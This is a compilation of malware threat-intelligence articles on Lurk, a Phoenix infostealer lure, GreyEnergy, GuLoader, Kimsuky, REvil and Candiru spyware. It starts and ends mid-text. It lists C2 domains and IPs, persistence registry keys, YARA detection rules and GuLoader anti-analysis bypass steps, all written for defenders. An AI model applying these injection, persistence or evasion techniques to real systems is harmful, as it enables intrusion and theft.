four-byte XOR key that is hard-coded into the malware. After downloading the payload, Lurk creates an Internet Explorer process and injects the payload into it. ## Lurk Malware Payloads Threat actors could use the Lurk downloader to upload various types of malware (e.g., banking trojans, ransomware, rogue antivirus software) onto a victim's system, but the malware payloads downloaded by Lurk as of this publication are used for click fraud. The click-fraud malware phones home to `helpertrack.com` to receive a click-fraud template. ## Threat Indicators The threat indicators can be used to detect activity related to the Lurk downloader. The domains and IP address listed in the indicators table may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |----------------------------------------------------------------|-------------------|----------------------------------------------| | e9cab9097e7f847b388b1c27425d6e9a | MD5 hash | Lurk sample | | e9da19440fca6f0747bdee8c7985917f | MD5 hash | Lurk sample | | f5022eae8004458174c10cb80cce5317 | MD5 hash | Lurk sample | | e006469ea4b34c757fd1aa38e6bdaa72 | MD5 hash | Lurk sample | | c461706e084880a9f0409e3a6b1f1ecd | MD5 hash | Lurk sample | | e8da52e2e0622c5bcb8aa7adbdb064d8 | MD5 hash | Lurk sample | | 1adceec5717679b38682e7c9ac17ec82 | MD5 hash | Lurk sample | | ae23ad4c3a5e2660096874bf8306ef49 | MD5 hash | Lurk sample | | HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{A3CCEDF7-2DE2-11D0-86F4-00A0C913F750}\InProcServer32 | Registry key | Lurk persistence mechanism | | *.cooperatemedia.com | Domain | C2 server name | | *.adsoas.com | Domain | C2 server name | | *.mesjunio.com | Domain | C2 server name | | *.alphaeffects.net | Domain | C2 server name | | track.helpertrack.com | Domain | C2 server (click-fraud template server) | | 95.211.169.162 | IP address | C2 server | ## Conclusion Malware is constantly evolving to stay one step ahead of computer security researchers and law enforcement. Threat actors invest considerable effort into hardening their botnets, making the botnet infrastructures more resilient to takedown attempts and encrypting data to prevent eavesdropping. A recent botnet trend is hiding malware traffic in plain sight through techniques such as HTML comment tags, text on public websites, and fake image files. The Lurk downloader demonstrates the power and versatility of this technique and how it can be used to evade network detection and manual scrutiny by malware researchers. Steganography can make it exceedingly difficult to detect the presence of hidden information such as a configuration file, binary update, or bot command, especially in digital files. As a result, the use of steganography in malware may become more prevalent in the future.
# Malware Posing as Russia DDoS Tool Bites Ukraine Malware disguised as a pro-Ukraine cyber-tool could turn around and bite you instead, researchers are warning. In a Wednesday threat advisory, Cisco Talos described a campaign it’s observed in which a threat actor was offering a supposed distributed denial-of-service (DDoS) tool on Telegram, that’s purportedly meant to pummel Russian websites. In truth, the file is actually the Phoenix infostealer that’s after credentials and cryptocurrency info, according to researchers. Phoenix is a keylogger that emerged in the summer of 2019 and which had, within months, turned into a full-fledged infostealer with powerful anti-detection and anti-analysis modules. Researchers shared one such Telegram come-on, shown below: “We are glad to remind you about the software we use to attack Russian sites!” the message burbled, waiting to jump on unsuspecting users so as to bleed them of cryptocurrency stored in wallets and MetaMask (a cryptocurrency wallet software commonly associated with non-fungible tokens [NFTs]). The malware dressed in sheep’s clothing is just one more wrinkle in the cyber-threat landscape – a landscape that has been undergoing seismic shifts leading up to and during Russia’s invasion of Ukraine. The crisis has brought both new threats and an influx of actors “of varying skill,” Cisco said. For example, the cyber-warzone has entailed the Conti ransomware gang’s secrets getting spilled (including a decryptor and TrickBot code) by a pro-Ukrainian member; furious phishing campaigns launched against Ukraine and those aiding Ukrainian refugees; the novel FoxBlade trojan; DDoS attacks against Ukraine’s military and economy; campaigns using multiple destructive wipers; hackers affiliating themselves with the Anonymous collective hijacking Russian cameras; and more. “Many of these changes have been brought about by the rise in attacks being outsourced to sympathetic people on the internet, which brings about its own unique challenges and threats,” Cisco outlined. The threat advisory referenced a tweet exhorting people to join an IT army to fight on the cyber-front. The malware in the Telegram message brands itself as a “Disbalancer” .ZIP file. There is, in fact, a group called “disBalancer” that distributes a “legitimate” DDoS attack tool called, ironically enough, Liberator, Cisco found – a tool for waging cyberwar against “Russian propaganda websites.” “A quick look at disBalancer’s website shows that the actor uses similar language to the malicious message on Telegram…and promises to target Russian sites with the stated goal of helping to ‘liberate’ Ukraine,” according to Cisco’s writeup. disBalancer’s tool – Disbalancer.exe – is sincerely meant to DDoS Russia. The infostealer campaign, on the other hand, is based on a dropper disguised as that tool. It’s protected with ASProtect, Cisco said, a known packer for Windows executables. “If a researcher tries to debug the malware execution, it will be confronted with a general error. The malware, after performing the anti-debug checks, will launch Regsvcs.exe, which is included along with the .NET framework,” according to the writeup. “In this case, the regsvcs.exe is not used as a living off the land binary (LoLBin). It is injected with the malicious code, which consists of the Phoenix information stealer.” The actors behind this campaign aren’t the newbies flocking to the front lines. Rather, evidence shows that they’ve been distributing infostealers since at least November, Cisco said, as evidenced by the fact that the infostealer exfiltrates stolen info to a remote IP address – in this case, a Russian IP — 95.142.46.35 on port 6666. That IP/port pair “has been distributing infostealers since at least November 2021,” researchers said. The longevity of the pairing enforces researchers’ belief that these are experienced actors at work, taking advantage of the Ukraine calamity, rather than threat actors new to the scene. The infostealer is hoovering up a broad array of information, Cisco said. “The .ZIP file provided in the Telegram channel contains an executable, which is the infostealer,” according to the report. “The infostealer gathers information from a variety of sources, including web browsers like Firefox and Chrome and other locations on the filesystem for key pieces of information.” The researchers provided a deobfuscated screen capture, showing how the pilfered info is sent with a simple base64 encoding. The screen grab shows the breadth of information being pulled off of infected systems, including a large number of crypto wallets and information on MetaMask. “A .ZIP file of the stolen data is also uploaded to the server, completing the compromise,” Cisco said. The infostealer masquerading as a DDoS tool to attack Russian targets is just one example of the many ways cybercriminals are milking the invasion for social-engineering sustenance, exploiting sympathizers on both sides. “Such activity could take the form of themed email lures on news topics or donation solicitations, malicious links purporting to host relief funds or refugee support sites, malware masquerading as security defensive or offensive tools, and more,” researchers suggested. In this case, cybercriminals were distributing an infostealer in an apparently profit-motivated campaign. It could have been worse, though, according to the report: “It could have just as easily been a more sophisticated state-sponsored actor or privateer group doing work on behalf of a nation-state.” Expect this type of situational exploitation to continue and to diversify, Cisco predicted: “The global interest in the conflict creates a massive potential victim pool for threat actors and also contributes to a growing number of people interested in carrying out their own offensive cyber operations.” Cisco reminded users to essentially avoid eating food that’s been dropped on the floor. You don’t know where that stuff’s been, researchers warned, so be wary of installing software “whose origins are unknown, especially software that is being dropped into random chat rooms on the internet.” As always, carefully inspect suspicious emails before opening attachments, Cisco advised, and validate software or other files before downloading.
# GreyEnergy Malware Research Paper: Maldoc to Backdoor As a security researcher, I believe it’s important for those defending critical and industrial infrastructure to share knowledge and stay up-to-date on malware tradecraft. When the GreyEnergy Advanced Persistent Threat (APT) was unveiled by ESET last year, I put my reverse engineering skills to work to analyze one of the malware’s infection techniques. This was the phishing email containing a malicious Microsoft Word document (maldoc) that led to the installation of the malware (backdoor) on a victim’s network. Today, I am publishing a Research Paper that provides a comprehensive analysis of how the malware works, from the maldoc to the custom packer and the final dropper (backdoor). This investigation is a more detailed analysis than what I put forward in a blog article in November 2018. The deepest analysis is done on the packer, an executable that decrypts and decompresses another executable inside itself. This article provides a summary of the techniques used by the packer to conceal its true functionality. ## GreyEnergy Anti-Analysis Techniques Conceal its Suspected “Packer” Executable When someone opens the Word document contained in the GreyEnergy phishing email and clicks on “Enable Content,” malicious code is downloaded from a remote location. The downloaded file is an executable which I suspected was a “packer,” i.e., an executable that contains one or more executables that are compressed and encrypted. While sometimes used legitimately to protect intellectual property, packers are also used by threat actors to hide malware. As I investigated the suspected packer executable, I found it was built using several anti-analysis techniques: - **Junk code** – unnecessary code that has no impact on the suspected packer’s code, and whose purpose is to confuse the reverse engineer. I determined that GreyEnergy contains a massive amount of junk code. - **Overlapping instructions** – GreyEnergy uses JMP instructions that function as overlapping instructions, where the same sequence of bytes can be interpreted as different instructions, depending on the exact byte in which execution starts. - **JMP-based execution code** – the execution flow of the suspected GreyEnergy packer is almost completely based on the use of JMP instructions, instead of sequential instructions. This makes it very hard to identify the true executable, hidden in a sea of junk code. Furthermore, the binary file of the suspected packer appeared to have overlay data. This is data appended at the end of the file that includes an additional executable component and is decrypted during run-time. - **Entropy** – this is an assessment of a file’s randomness. Using one measure of entropy, with a scale of 0 to 8, where results of 7 or more indicate encryption, GreyEnergy has a score of 7.994. This is a strong indicator that the overlay data is encrypted. ## Dynamic Analysis Reveals the Malware After assessing the above aspects of the malware, I had a strong suspicion that I was dealing with a packer but lacked solid proof. I decided to switch to a dynamic analysis approach to speed up the investigation. I then discovered several interesting attributes of the suspected packer file: - **Hardcoded imports** – the WinAPIs called by the suspected packer are not contained in the PE import table but loaded at runtime and pushed onto the stack using a mov instruction, without any kind of obfuscation technique. - **String overwrite** – the suspected packer overwrites all strings with zeros after the strings have been loaded into memory. By now, there are multiple indicators that strongly suggest that the binary is a packer: - Apparently encrypted overlay - Anti-analysis techniques - APIs manually resolved by parsing the PE header - Strings hardcoded inside the code and overwritten with 0x00s after use Accessing the overlay – the malware uses a series of steps to identify where the overlay starts and the exact size of its own executable, and allocates space for itself inside the memory. My analysis reveals exactly how the malware identifies the right offset for the overlay. ## Decryption Algorithm The malware uses a custom algorithm to hide its malicious components. When the decryption algorithm is applied, it is clear the data contains an executable. However, there are several unexpected bytes between the recognized patterns, indicating that the data is not yet complete. I suspected that the data is compressed somehow. ## Decompression Algorithm My suspicion is quickly confirmed, and after decompression, the new buffer contains a valid PE header. The original entry point (OEP) – next, the packer points to the uncompressed buffer, parses the PE header, and iterates all sections again. Once it accesses the overlay data, a second PE header is revealed, which is the real malicious component (backdoor), waiting to be installed inside the victim’s systems. It’s now possible to identify two specific components from the unpacked data – the dropper and the backdoor. The suspected packer executes the dropper in-memory without storing it inside the filesystem. This step confirms that the binary is a packer because it has just demonstrated all the primary characteristics of packers. ## GreyEnergy – A Stealthy Infection Requiring Proactive Defenses Once complete, my analysis showed that the GreyEnergy packer is robust and capable of significantly slowing down the reverse engineering process. The techniques used are not new, but both the tools and the tactics employed were cleverly selected. The threat actors’ broad use of anti-forensic techniques underlines their attempt to be stealthy and ensure that the infection would go unnoticed. Based on how well the malware disguises itself once it infects a system, the best way for industrial organizations to protect themselves from the GreyEnergy APT is to train employees on the dangers of email phishing campaigns, including how to recognize malicious emails and attachments. In addition, critical infrastructure networks should always be monitored with dedicated cybersecurity systems to proactively detect threats present on the network. ## Free Tools to Help the Security Community Defend Against GreyEnergy As a direct outcome of this analysis, I developed tools to help analysts dissect this piece of malware. The GreyEnergy Yara Module is high-performing code for compiling with the Yara engine. It adds a new keyword that determines whether a file processed by Yara is the GreyEnergy packer or not. This tool, combined with the previously published GreyEnergy Unpacker (a Python script that automatically unpacks both the dropper and the backdoor, extracting them onto a disk), saves other security analysts the reverse engineering work explained in this paper. I hope that these tools, along with my findings, facilitate further GreyEnergy analysis and help the security community better defend critical infrastructure systems in the future.
# Quick Analysis Note About GuLoader (or CloudEyE) Recently, I’ve supported a foreign friend on Twitter during the analysis of one of GuLoader (or CloudEyE) variant samples. Although he has read these articles, he was still stuck, and I know that feeling. The discussion between us was quite long; finally, I sent him my quick analysis so that he can read and follow. Now, I put the analysis that we discussed on this blog hoping it will help others like him. ## 1. Get the GuLoader’s Shellcode GuLoader uses the VirtualAlloc API for allocating a new memory section and dropping shellcode to the allocated memory. **Call to VirtualAlloc:** Fill shellcode to the allocated buffer. Continue trace, will jump to the shellcode. This shellcode may vary with each sample. ## 2. Debug Shellcode for Finding the Next Payload URL This shellcode uses Heaven’s Gate technique to execute in an x64 environment. You can read more about this technique that I wrote here. Preferably, you should debug GuLoader on a 32-bit Windows VM. - Patch to bypass anti-VM. - Break on call to EnumWindows (patch if needed to bypass call to TerminateProcess). - Break on call to ZwProtectVirtualMemory (need to patch to bypass anti-attach). - Break on call to ZwSetInformationThread for hiding thread (need to patch 0xC3 when tracing into this call or nop this call). Directly below will usually be the sub-function that calls the CPUID command; nop this call. **Call to get process command line:** Call to shellcode main proc, need to trace into this function. This shellcode main proc will do: - Get RegAsm’s path (e.g., C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe). - Call to kernel32.CreateProcessInternalW to create RegAsm.exe in suspended state. - Get msvbvm60.dll’s path (e.g., C:\Windows\system32\msvbvm60.dll) and then replace to \??\C:\Windows\system32\msvbvm60.dll. - Call to ntdll.ZwOpenFile. - Call to ntdll.ZwCreateSection with FileHandle of msvbvm60.dll (e.g., File, C:\Windows\System32\msvbvm60.dll, 0x190). - Call to ntdll.ZwMapViewOfSection with SectionHandle of msvbvm60.dll and ProcessHandle of RegAsm.exe suspended process. For mapping msvbvm60.dll: - Allocate RWX memory section on RegAsm.exe suspended process. - Then call ZwWriteVirtualMemory for writing the 2nd shellcode to the allocated buffer at RegAsm process. The 2nd shellcode is the same as the 1st shellcode, but its main task is to decode the URL and download the final payload. After that, it calls ZwGetContextThread, ZwSetContextThread, and then ZwResumeThread. So RegAsm process will return to the normal state and execute the 2nd shellcode to download the final payload. For debugging the 2nd shellcode, use ProcessHacker to change bytes of 2nd shellcode to 0xEB 0xFE (must restore to original bytes later. The original bytes are 0xFC 0x81). Let’s trace over ZwResumeThread. Open a new debugger and attach RegAsm. F9 then F12, stop at the EB FE. Change back to the original bytes. Debugging the 2nd shellcode will locate the code that decodes the URL. For example: Stack ss: [0056F848]=008D1A2C, (ASCII “hxxps://www.mediafire.com/file/kgwo4t43b5831fj/origin_geyiApZvCe4.bin/file”). Sometimes, the mediafire/google drive link was blocked by CloudFlare, so you need to manually download and save it. Then let the shellcode resolve the wininet_api functions, using these APIs for downloading the CloudFlare’s content. It will check the size of downloaded content is equal to 0x4B600 (in this case). Must patch to let it think you have downloaded the right binary. Then you trace into the function that will decrypt the payload. My trick is to replace the CloudFlare content with the content of the encrypted payload. Here is the loop it tries to find 2 bytes that decrypt 2 bytes of payload to MZ signature. Then build the xor_key_buffer; buffer length is 0x270 bytes. After the decrypt loop, get the final payload. It can be Trojans (RAT) or malware that steals information such as Agent Tesla, FormBook, NanoCore RAT, Netwire RAT, Remcos RAT, etc. End! m4n0w4r Hopefully, in the future, if I have the opportunity to go to Singapore, I will meet him!
# The North Korean Kimsuky APT Keeps Threatening South Korea Evolving Its TTPs ## Introduction Recently we have observed a significant increase in state-sponsored operations carried out by threat actors worldwide. APT34, Gamaredon, and Transparent Tribe are a few samples of the recently uncovered campaigns, the latter was spotted after four years of apparent inactivity. Cybaze-Yoroi ZLab decided to study in depth a recent threat attributed to a North Korean APT dubbed Kimsuky. The Kimsuky APT group has been analyzed by several security teams. It was first spotted by Kaspersky researchers in 2013, recently its activity was detailed by ESTsecurity. We decided to analyze the activity of the group after noticing a tweet of the user “@spider_girl22” on February 28th, 2020. ## Technical Analysis Unlike other APT groups using long and complex infection chains, the Kimsuky group leverages a shorter attack chain, but at the same time, we believe it is very effective in achieving a low detection rate. The infection starts with a classic executable file with “scr” extension, an extension used by Windows to identify Screensaver artifacts. In the following table are reported some information about the sample. | Hash | 757dfeacabf4c2f771147159d26117818354af14050e6ba42cc00f4a3d58e51f | |------|---------------------------------------------------------------------| | Threat | Kimsuky loader | | Brief | Scr file, initial loader | | Description | | | Ssdeep | 12288:APWcT1z2aKqkP/mANd2JiEWKZ52zfeCkIAYfLeXcj6uuLl:uhT14q030JigZUaULeXc3uLl | Upon execution, the malware writes a file named “<random_name>.tmp.db” inside the “%AppData%\Local\Temp” path through the usage of the Microsoft Utility “regsvr32.exe”. Despite the “.db” extension, the written file is actually a well-formed DLL that acts as the second stage of the malware infection. Static information of DLL are shown below: | Hash | caa24c46089c8953b2a5465457a6c202ecfa83abbce7a9d3299ade52ec8382c2 | |------|---------------------------------------------------------------------| | Threat | Kimsuky second stage | | Brief | DLL used by the Kimsuky group as second stage | | Description | | | Ssdeep | 6144:6lhe64TNUalJMRRfS5mABlakVxOfLnePfcNl6GwUDuL/:6zfeCk-IAYfLeXcj6uuL | The DLL is then copied into the folder “%AppData%\Roaming\Microsoft\Windows\Defender\” and it is renamed into “AutoUpdate.dll”. The “AutoUpdate.dll” library then gains persistence by setting the following registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsDefender”. The name and the path used by the attacker is absolutely tricky, because they reference to Windows Defender. Furthermore, exploring the content of the folder “%AppData%\Local\Temp” path, we observed another temporary file created and immediately removed dubbed “<random_name>.tmp.bat”. By analyzing its contents, we noticed that it is used to delete the initial artifact (scr) and file itself. In order to hide the malicious operation and avoid raising suspicion, a legit document is created in the same folder containing the “.scr” file, the document is named “이 력 서 양 식.hwp”. Translating its name from Korean to English language, is possible to obtain the “CV Form” string. The name and other information about the document are the following: | Hash | d21523b7b8f6584305a0a6a83cd65c8ce0777a42ab781c35aa06c46c91f504b4 | |------|---------------------------------------------------------------------| | Threat | Kimsuky legit document | | Brief | Legit document used to divert attention on the malware in “hwp” extension | | Description | | | Ssdeep | 192:zXEKVs7kRvm+1FsO2ui/VpIkCnH5QVSV9VahhU:r3YkA+1aJuk-WQVS9avU | As implied by the file name (CV Form), the document contains a CV form with empty fields. ## Bypassing AV Detection An interesting behavior is the “explorer.exe” injection performed by the “AutoUpdate.dll” in order to avoid AVs detection. Digging in the malicious code, it is possible to see the methods used to perform this operation. First of all, the malware sets the right privileges. Once obtained the necessary privileges, the malware is able to proceed with the injection. As described by the analysis published by Elastic, the malware writes the path to its malicious DLL in the virtual address space of another process through the “VirtualAllocEx” function. In this case, the target process is “explorer.exe”, it ensures the remote process loads it by creating a remote thread inside it. To perform these operations, first of all, the malware needs to know the Process ID of the target, this is performed through the navigation of all processes tree. This task can be executed using the Tool Help Library Windows API family using CreateToolhelp32Snapshot(), Process32First(), and Process32Next() API. Then, the malware calls VirtualAllocEx() to allocate a space to write the path to the malicious DLL, then it calls WriteProcessMemory() to write the DLL path inside the allocated memory. After that, the malware calls the CreateRemoteThread() API to link the thread newly created to the host process (explorer.exe). Two components are implanted in the “explorer.exe” process. In the following tables are presented some information about the two DLLs extracted. | Hash | bbad65136d73cbd5262bc88571677b5434ceb54fc1103f2133757dae2ec4b47b | |------|---------------------------------------------------------------------| | Threat | Injected DLL | | Brief | First injected DLL | | Description | | | Ssdeep | 3072:AFSYAyju5JpkC7xfYZo9cPqvTV+ql4yFa+zB+K+H/kocFAQUG5R:AFJ0qC7xAZliT004+p10fkoefUG5 | | Hash | 817ef0d9d3584977d1114b7e92012b653d339434a90967cbe8016899801f3751 | |------|---------------------------------------------------------------------| | Threat | Injected DLL | | Brief | Second injected DLL | | Description | | | Ssdeep | 3072:AFSYAyju5JpkC7xfYZo9cPqvTV+ql4yFa+zo+K+H/kocFAnRG5R:AFJ0qC7xAZliT004+p00fkoegRG5 | Comparing the ssdeep of the two DLLs is possible to notice several overlaps between the two libraries, a circumstance that confirms a high “similarity” between them. There are tiny differences between the DLLs as shown below performing a simple binary diffing analysis. Due to these differences between the two DLLs, we decided to continue the analysis on one of them. Digging into the DLL, we notice that every time a function has to be performed by the malware, it relies on a recurrent decryption routine, which decodes the strings containing the actual instruction and executes it. Every 15 minutes, the malware contacts the C2 (suzuki.]datastore.]pe.]hu) and sends back the information about the compromised machine. In particular, three HTTP requests are made using different URLs paths and different User-Agent fields for each request. ## Conclusion During our Threat Intelligence activities, we discovered a new malware implant compatible with the previous campaigns of Kimsuky APT actor. According to the ESTsecurity firm, the initial dropper contains two malicious resources embedding the malicious DLLs, however, in our sample there aren’t. Despite these little differences, we can affirm with good confidence that the Threat Actor is Kimsuky due to strong similarities with the TTPs. ## Indicator of Compromise **Hashes:** - 757dfeacabf4c2f771147159d26117818354af14050e6ba42cc00f4a3d58e51f - caa24c46089c8953b2a5465457a6c202ecfa83abbce7a9d3299ade52ec8382c2 - bbad65136d73cbd5262bc88571677b5434ceb54fc1103f2133757dae2ec4b47b - 817ef0d9d3584977d1114b7e92012b653d339434a90967cbe8016899801f3751 **C2:** - suzuki.]datastore.]pe.]hu **Persistence:** - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsDefender ## Yara Rules ```yara import "pe" rule loader { meta: description = "Yara rule for the initial loader SRC" author = "Yoroi - ZLab" last_updated = "2020-03-02" tlp = "white" category = "informational" strings: $a1 = " goto Repeat1" $a2 = {84 58 43 F4 39 1B 96 32 E4 2D 63} $a3 = {89 04 4D 30 7A 05 10 41 EB E8 8B} $a4 = {80 A1 B2 F7 15 DE F0 7E 35 75} $a5 = {9C 0E 57 4C 77 B1 0E 06 08 5E} condition: uint16(0) == 0x5A4D and pe.number_of_sections == 5 and 3 of ($a*) } import "pe" rule AutoUpdate_dll { meta: description = "Yara rule for the AutoUpdate_dll" author = "Yoroi - ZLab" last_updated = "2020-03-02" tlp = "white" category = "informational" strings: $a1 = {48 8B 3F 48 83 78 18 10 72} $a2 = {36 42 35 45 35 41 42 33 42 41 39} $a3 = { DD E7 FE DA C6 F7 F9 8D 7D F9 } $a4 = "1#SNAN" $a5 = "d$4D9L$t" $a6 = "DllRegisterServer" $a7 = "DllUnregisterServer" condition: uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($a*)) } import "pe" rule injectedDLL { meta: description = "Yara rule for the injected DLL" author = "Yoroi - ZLab" last_updated = "2020-03-02" tlp = "white" category = "informational" strings: $a1 = {41 80 3E 5E 89 45 A4 75 08 49} $a2 = {60 03 50 02 30 58 68 01 00 70} $a3 = {98 F7 02 00 7B 44 00 00 91 44} $a4 = "/?m=b&p1=" $a5 = "&p2=b" $a6 = "/?m=a&p1=" $a7 = "AUAVAWH" condition: uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($a*)) } rule legit_DOC { meta: description = "Yara rule for the Legit DOC" author = "Yoroi - ZLab" last_updated = "2020-03-02" tlp = "white" category = "informational" strings: $a1 = "HWP Document File" $a2 = "UPcfZrc" $a3 = {D1 A9 30 1A 5D C1 16 41 15 DA DF 54} $a4 = {B4 D5 31 1B F9 66 7C 56 5A 15} $a5 = {30 30 F8 18 18 F8 00 00 E0 00 00 C8} $a6 = {DC 66 43 0C 53 00 65 00 63 00} $a7 = {05 00 48 00 77 00 70 00 53 00 75 00 6D 00 6D} condition: all of them } ```
# REvil Ransomware Attack Against MSPs and Its Clients Around the World An attack perpetrated by REvil, also known as the Sodinokibi ransomware gang, against Managed Service Providers (MSPs) and their clients was discovered on July 2, 2021. Some victims were reportedly compromised through a popular MSP software, leading to the encryption of their customers' data. The total number of encrypted businesses could run into thousands. REvil ransomware has been advertised on underground forums for three years and is one of the most prolific Ransomware as a Service (RaaS) operations. According to an interview with a REvil operator, the gang earned over $100 million from its operations in 2020. The group’s activity was first observed in April 2019 after the shutdown of GandCrab, another now-defunct ransomware gang. In this latest case, the attackers deployed a malicious dropper via a PowerShell script, which was executed through the vendor’s agent. This script disables Microsoft Defender features and then uses the `certutil.exe` utility to decode a malicious executable (`agent.exe`) that drops a legitimate Microsoft binary (`MsMpEng.exe`, an older version of Microsoft Defender) and a malicious library (`mpsvc.dll`), which is the REvil ransomware. This library is then loaded by the legitimate `MsMpEng.exe` using the DLL side-loading technique. Using Kaspersky's Threat Intelligence service, more than 5,000 attack attempts were observed in 22 countries by the time of writing. REvil uses the Salsa20 symmetric stream algorithm for encrypting the content of files and the keys with an elliptic curve asymmetric algorithm. Decryption of files affected by this malware is impossible without the cybercriminals’ keys due to the secure cryptographic scheme and implementation used in the malware. Kaspersky products protect against this threat and detect it with the following names: - UDS:DangerousObject.Multi.Generic - Trojan-Ransom.Win32.Gen.gen - Trojan-Ransom.Win32.Sodin.gen - Trojan-Ransom.Win32.Convagent.gen - PDM:Trojan.Win32.Generic (with Behavior Detection) The vendor whose software was reportedly compromised issued a special advisory that is being periodically updated. To keep your company protected against ransomware 2.0 attacks, Kaspersky experts recommend: - Not exposing remote desktop services (such as RDP) to public networks unless absolutely necessary and always using strong passwords for them. - Promptly installing available patches for commercial VPN solutions providing access for remote employees and acting as gateways in your network. - Always keeping software updated on all devices to prevent ransomware from exploiting vulnerabilities. - Focusing your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminals’ connections. Back up data regularly and ensure quick access in emergencies. Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors. - Using solutions like Kaspersky Endpoint Detection and Response and the Kaspersky Managed Detection and Response service to identify and stop attacks at early stages. - Protecting the corporate environment and educating employees. Dedicated training courses can help, such as those provided in the Kaspersky Automated Security Awareness Platform. - Using a reliable endpoint security solution such as Kaspersky Endpoint Security for Business, which is powered by exploit prevention, behavior detection, and a remediation engine that can roll back malicious actions. KESB also has self-defense mechanisms to prevent its removal by cybercriminals. ## Indicators of Compromise - `agent.cer` (encrypted `agent.exe`): 95F0A946CD6881DD5953E6DB4DFB0CB9 - `agent.exe`: 561CFFBABA71A6E8CC1CDCEDA990EAD4 - `mpsvc.dll`, REvil ransomware: 7EA501911850A077CF0F9FE6A7518859, A47CF00AEDF769D60D58BFE00C0B5421 **Tags:** Cybercrime, RaaS, Ransomware, Supply-chain attack, Targeted attacks, Trojan
# Hooking Candiru: Another Mercenary Spyware Vendor Comes into Focus **Summary** Candiru is a secretive Israel-based company that sells spyware exclusively to governments. Reportedly, their spyware can infect and monitor iPhones, Androids, Macs, PCs, and cloud accounts. Using Internet scanning, we identified more than 750 websites linked to Candiru’s spyware infrastructure. We found many domains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement, as well as media companies and other civil-society themed entities. We identified a politically active victim in Western Europe and recovered a copy of Candiru’s Windows spyware. Working with Microsoft Threat Intelligence Center (MSTIC), we analyzed the spyware, resulting in the discovery of CVE-2021-31979 and CVE-2021-33771 by Microsoft, two privilege escalation vulnerabilities exploited by Candiru. Microsoft patched both vulnerabilities on July 13th, 2021. As part of their investigation, Microsoft observed at least 100 victims in Palestine, Israel, Iran, Lebanon, Yemen, Spain, United Kingdom, Turkey, Armenia, and Singapore. Victims include human rights defenders, dissidents, journalists, activists, and politicians. We provide a brief technical overview of the Candiru spyware’s persistence mechanism and some details about the spyware’s functionality. Candiru has made efforts to obscure its ownership structure, staffing, and investment partners. Nevertheless, we have been able to shed some light on those areas in this report. ## 1. Who is Candiru? The company known as “Candiru,” based in Tel Aviv, Israel, is a mercenary spyware firm that markets “untraceable” spyware to government customers. Their product offering includes solutions for spying on computers, mobile devices, and cloud accounts. ### A Deliberately Opaque Corporate Structure Candiru makes efforts to keep its operations, infrastructure, and staff identities opaque to public scrutiny. Candiru Ltd. was founded in 2014 and has undergone several name changes. Like many mercenary spyware corporations, the company reportedly recruits from the ranks of Unit 8200, the signals intelligence unit of the Israeli Defence Forces. While the company’s current name is Saito Tech Ltd, we will refer to them as “Candiru” as they are most well known by that name. The firm’s corporate logo appears to be a silhouette of the reputedly gruesome Candiru fish in the shape of the letter “C.” | Company Name | Date of Registration | Possible Meaning | |--------------|----------------------|------------------| | Saito Tech Ltd. | 2020 | “Saito” is a town in Japan | | Taveta Ltd. | 2019 | “Taveta” is a town in Kenya | | Grindavik Solutions Ltd. | 2018 | “Grindavik” is a town in Iceland | | DF Associates Ltd. | 2017 | ? | | Candiru Ltd. | 2014 | A parasitic freshwater fish | ### Reported Sales and Investments According to a lawsuit brought by a former employee, Candiru had sales of “nearly $30 million” within two years of its founding. The firm’s reported clients are located in “Europe, the former Soviet Union, the Persian Gulf, Asia, and Latin America.” Additionally, reports of possible deals with several countries have been published: - **Uzbekistan**: In a 2019 presentation at the Virus Bulletin security conference, a Kaspersky Lab researcher stated that Candiru likely sold its spyware to Uzbekistan’s National Security Service. - **Saudi Arabia & the UAE**: The same presentation also mentioned Saudi Arabia and the UAE as likely Candiru customers. - **Singapore**: A 2019 Intelligence Online report mentions that Candiru was active in soliciting business from Singapore’s intelligence services. - **Qatar**: A 2020 Intelligence Online report notes that Candiru “has become closer to Qatar.” A company linked to Qatar’s sovereign wealth fund has invested in Candiru. No information on Qatar-based customers has yet emerged. ### Candiru’s Spyware Offerings A leaked Candiru project proposal published by TheMarker shows that Candiru’s spyware can be installed using a number of different vectors, including malicious links, man-in-the-middle attacks, and physical attacks. A vector named “Sherlock” is also offered, that they claim works on Windows, iOS, and Android. This may be a browser-based zero-click vector. Like many of its peers, Candiru appears to license its spyware by the number of concurrent infections, which reflects the number of targets that can be under active surveillance at any one instant in time. Like NSO Group, Candiru also appears to restrict the customer to a set of approved countries. The €16 million project proposal allows for an unlimited number of spyware infection attempts, but the monitoring of only 10 devices simultaneously. For an additional €1.5M, the customer can purchase the ability to monitor 15 additional devices simultaneously and to infect devices in a single additional country. For an additional €5.5M, the customer can monitor 25 additional devices simultaneously and conduct espionage in five more countries. The fine print in the proposal states that the product will operate in “all agreed upon territories,” then mentions a list of restricted countries including the US, Russia, China, Israel, and Iran. This same list of restricted countries has previously been mentioned by NSO Group. Nevertheless, Microsoft observed Candiru victims in Iran, suggesting that in some situations, products from Candiru do operate in restricted territories. In addition, targeting infrastructure disclosed in this report includes domains masquerading as the Russian postal service. The proposal states that the spyware can exfiltrate private data from a number of apps and accounts including Gmail, Skype, Telegram, and Facebook. The spyware can also capture browsing history and passwords, turn on the target’s webcam and microphone, and take pictures of the screen. Capturing data from additional apps, such as Signal Private Messenger, is sold as an add-on. For a further additional €1.5M fee, customers can purchase a remote shell capability, which allows them full access to run any command or program on the target’s computer. This kind of capability is especially concerning, given that it could also be used to download files, such as planting incriminating materials, onto an infected device. ## 2. Finding Candiru’s Malware In The Wild Using telemetry data from Team Cymru, along with assistance from civil society partners, the Citizen Lab was able to identify a computer that we suspected contained a persistent Candiru infection. We contacted the owner of the computer, a politically active individual in Western Europe, and arranged for the computer’s hard drive to be imaged. We ultimately extracted a copy of Candiru’s spyware from the disk image. ### Persistence Candiru’s spyware was persistently installed on the computer via COM hijacking of the following registry key: `HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32` Normally, this registry key’s 